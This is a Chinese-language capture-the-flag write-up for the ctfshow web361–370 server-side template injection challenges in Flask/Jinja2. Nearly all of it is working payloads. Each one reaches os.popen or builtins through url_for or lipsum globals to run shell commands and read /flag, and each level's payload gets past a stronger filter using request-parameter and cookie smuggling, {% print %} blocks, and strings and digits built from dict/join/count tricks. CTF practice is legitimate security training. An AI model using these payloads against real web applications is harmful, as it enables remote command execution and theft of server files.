目录
①web361 362-无过滤
②web363-过滤单双引号
③web364-过滤单双引号和args
④web365-过滤中括号[]、单双引号、args
⑤web366-过滤单双引号、args、中括号[]、下划线
⑦web367-过滤单双引号、args、中括号[]、下划线、os
⑧web368-过滤单双引号、args、中括号[]、下划线、os、{{
⑨web369-过滤单双引号、args、中括号[]、下划线、os、{{、request
⑩web370-过滤单双引号、args、中括号[]、下划线、os、{{、request、数字
题目给到Hint,尝试传?name={{1-1}}测试出ssti注入点
掏出武器库秒了(上文有总结)
?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('tac /f*').read()")}}
或者
?name={{url_for.__globals__.os.popen('tac /f*').read()}}
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
或者
?a=tac /f*&name={{url_for.__globals__.os.popen(request.args.a).read()}}
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.values.a][request.values.b](request.values.c).read()}}
或者
?a=tac /f*&name={{url_for.__globals__.os.popen(request.values.a).read()}}
?c=cat /flag&name={{url_for.__globals__.os.popen(request.values.c).read()}}
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie:a=__globals__;b=cat /flag
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
使用{%%}绕过,再借助print()回显
?a=__globals__&b=os&c=cat /flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}